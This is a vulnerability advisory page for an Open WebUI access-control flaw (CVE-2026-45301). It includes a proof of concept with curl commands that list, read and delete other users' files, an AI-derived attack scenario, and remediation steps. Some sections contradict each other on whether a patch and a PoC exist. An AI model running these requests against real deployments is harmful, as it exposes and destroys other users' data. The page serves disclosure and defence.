Skip to main content

Open WebUI CVE-2026-45301

HIGH
Improper Access Control (CWE-284)
2026-05-14 https://github.com/open-webui/open-webui GHSA-r8wh-8m7r-fh33
8.1
CVSS 3.1 · Vendor: https://github.com/open-webui/open-webui
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with valid low-privilege credentials
  2. Delivery
    Send GET /api/v1/files/ to enumerate all user files
  3. Exploit
    Parse JSON response for target file IDs and metadata
  4. Execution
    Send GET /api/v1/files/{id}/content to exfiltrate sensitive documents
  5. Impact
    Optionally DELETE /api/v1/files/{id} to destroy evidence or disrupt operations

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Access control enforcement
MITRE ATT&CK

1 technique across 1 tactic: Defense Evasion

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires authenticated access with low-privilege user credentials to the Open WebUI platform-no administrative rights or special permissions needed beyond basic user account creation. The vulnerability affects default configurations of Open WebUI versions through 0.3.15 when file upload functionality is enabled in conversations. Network access to the /api/v1/files/ API endpoints is required, which is available to any user who can reach the web interface (typically TCP port 8080 in Docker deployments, or custom ports in reverse proxy setups). No user interaction beyond the attacker's own authentication is required (UI:N). The attack does not depend on non-default configurations, custom plugins, or third-party integrations. Exploitation is limited to multi-user deployments where multiple distinct user accounts exist-single-user installations have no meaningful security boundary to cross, making impact negligible in those scenarios.

Impact

This vulnerability represents high real-world risk for multi-user deployments despite the PR:L (low-privilege authentication) requirement. The CVSS 8.1 score accurately reflects the High confidentiality and integrity impact with network attack vector and low complexity (AV:N/AC:L/PR:L/UI:N). Publicly available exploit code exists with step-by-step reproduction instructions using simple curl commands, lowering the skill barrier to exploitation. No CISA KEV listing or EPSS data was provided, suggesting exploitation has not yet reached widespread automated scanning or mass exploitation phase, but the public GitHub advisory and detailed PoC significantly increase likelihood of opportunistic attacks. The CVSS scope is unchanged (S:U), meaning attackers cannot pivot beyond the web application's file storage, but the lack of availability impact (A:N) is misleading-file deletion capabilities directly threaten data availability. Key risk factors include: (1) conversational AI platforms commonly handle proprietary documents, credentials, and PII uploaded for analysis, (2) Docker deployment model suggests cloud/shared hosting environments with multiple organizational users, (3) authentication requirement provides minimal protection in platforms designed for collaboration. The fix version 0.3.16 is confirmed available per GitHub advisory, making unpatched systems high-priority targets.

Exploit ScenarioDerived

An attacker with a standard user account on a corporate Open WebUI instance authenticates normally and sends a GET request to /api/v1/files/ to enumerate all uploaded files across the organization. The JSON response reveals file IDs, original filenames, user IDs, content types, and full storage paths for documents uploaded by executives, HR, legal, and engineering teams. The attacker targets a file named 'Q4_Financial_Projections.xlsx' and retrieves its contents via GET /api/v1/files/{id}/content, exfiltrating confidential financial data. To cover tracks, the attacker issues DELETE requests to remove audit-relevant files or disrupt operations by deleting critical documents attached to ongoing AI model conversations. The entire attack requires only legitimate credentials and basic HTTP client skills.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Horizontal privilege escalation in Open WebUI versions through 0.3.15 allows any authenticated user to enumerate, read, and delete all files uploaded by all other users via missing authorization checks in the files API endpoints. The vulnerability requires only low-privilege authenticated access to the web interface and has publicly available exploit code with a detailed proof-of-concept demonstrating how attackers can list all uploaded files regardless of owner, retrieve file contents, and delete arbitrary user files. Organizations running multi-user Open WebUI deployments face immediate risk of data breach and integrity loss, as file upload features in conversational AI platforms commonly handle sensitive documents and internal communications.

RemediationAI

Upgrade immediately to Open WebUI version 0.3.16 or later, which includes authorization checks in the file API endpoints per the vendor advisory at https://github.com/open-webui/open-webui/security/advisories/GHSA-r8wh-8m7r-fh33. For Docker deployments, pull the latest image and restart containers with version tags 0.3.16+. For PyPI installations, run 'pip install --upgrade open-webui>=0.3.16' and restart the application service. If immediate patching is not feasible, implement network-level access controls to restrict the /api/v1/files/ endpoint paths to trusted IP ranges only via reverse proxy rules (nginx/Apache/Traefik), though this provides incomplete protection and may break legitimate functionality. As a temporary measure, disable file upload features entirely in the application configuration if business requirements permit, though this severely limits conversational AI utility. Consider implementing application-layer firewall rules to log and alert on suspicious file enumeration patterns (rapid sequential requests to /api/v1/files/{id}/content with varying UUIDs). After patching, conduct forensic review of application logs to identify potential historical exploitation-search for GET requests to /api/v1/files/ and /api/v1/files/{id}/content from users accessing file IDs they did not create, and DELETE operations against files owned by other user_id values. No known workaround fully mitigates this vulnerability without upgrading.

Affected Packages

pypi open-webui fix: 0.3.16

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Open WebUI is a Python-based web interface for large language model platforms like Ollama, distributed via PyPI (pkg:pip/open-webui) and deployed commonly via Docker containers. The vulnerability stems from insecure direct object reference (IDOR) flaws classified under CWE-284 (Improper Access Control) in the FastAPI-based backend router implementation. The /backend/apps/webui/routers/files.py endpoints (GET /api/v1/files/, GET /api/v1/files/{id}/content, DELETE /api/v1/files/{id}) authenticate users via session tokens but fail to verify that the authenticated user owns or has permission to access the requested file resource. The database model in files.py retrieves file records without filtering by user_id, creating a classic broken object-level authorization flaw. File metadata includes full filesystem paths in the JSON response, further exposing internal storage architecture. This architectural flaw affects all file-handling endpoints uniformly, indicating systemic authorization logic failure rather than isolated coding errors.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/open-webui/open-webui) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Primary rating from Vendor (https://github.com/open-webui/open-webui) · only source for this CVE.

CVSS VectorVendor: https://github.com/open-webui/open-webui

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.

Details

All files/ related endpoints lack permission checks.

Listing all files

For example, let's see how file listing is implemented: https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110 https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26 Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.

This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:

Accessing the content of any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193

Deleting any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241

PoC

Configuration
  1. I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop:

docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama

  1. I created an admin user
  2. I created a second user to act as the threat actor with no elevated permissions
  3. Admin user uploaded test.txt in a conversation with model
  4. Admin user uploaded mydeepest_secret.docx in a conversation with model
Listing files uploaded by other users
  1. Login to threat actor
  2. Perform a GET request to /api/v1/files/
sh
curl -X 'GET' \
  'http://localhost:3000/api/v1/files/' \
  -H 'accept: application/json'
json
[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  },
  {
    "id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
    "meta": {
      "name": "mydeepest_secret.docx",
      "content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
      "size": 6485,
      "path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
    },
    "created_at": 1724710236
  }
]
Accessing other users' file content
  1. Login to threat actor
  2. Perform a GET request to /api/v1/files/{id}/content
sh
curl -X 'GET' \
  'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
  -H 'accept: application/json'
wow
Deleting another user's uploaded file
  1. Login to threat actor
  2. Perform a DELETE request to /api/v1/files/{id}
sh
curl -X 'DELETE' \
  'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
  -H 'accept: application/json'
json
{
  "message": "File deleted successfully"
}
  1. We will verify this action by furthur listing all files as mentioned above:
json
[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  }
]

Impact

Having access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user's uploaded files disrupts the integrity of the system.

Personal Notice

In case this submission does get recognized and numbered as a CVE I'd perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.

Thanks in advance and have a good week (:

Credits

This vulnerability was reported by Yuval Gal (GitHub: @vi11ain).

Executive ViewAI

Why It Matters

Open WebUI versions through 0.3.15 contain a horizontal privilege escalation vulnerability in the files API that allows any authenticated user to enumerate, read, and delete files belonging to other users, creating immediate data breach and integrity risks in multi-user deployments. Organizations using Open WebUI to handle sensitive documents or internal communications face unauthorized access to confidential information and potential malicious file deletion by low-privileged users. This vulnerability is particularly critical because exploitation requires only basic user authentication with no additional technical barriers.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict Open WebUI access to single-user or isolated team deployments only; (2) Disable the files upload API endpoint entirely if business requirements permit; (3) Implement reverse proxy authentication requiring multi-factor authentication before any API access; (4) Isolate Open WebUI instances on separate network segments with strict ingress/egress controls; (5) Implement continuous file access monitoring to detect and alert on unauthorized file enumeration or deletion patterns; (6) Enforce strict RBAC at infrastructure level to prevent lateral movement if user account is compromised.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Affected Products (CPE)CVE.org

pkg:pip/open-webui

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy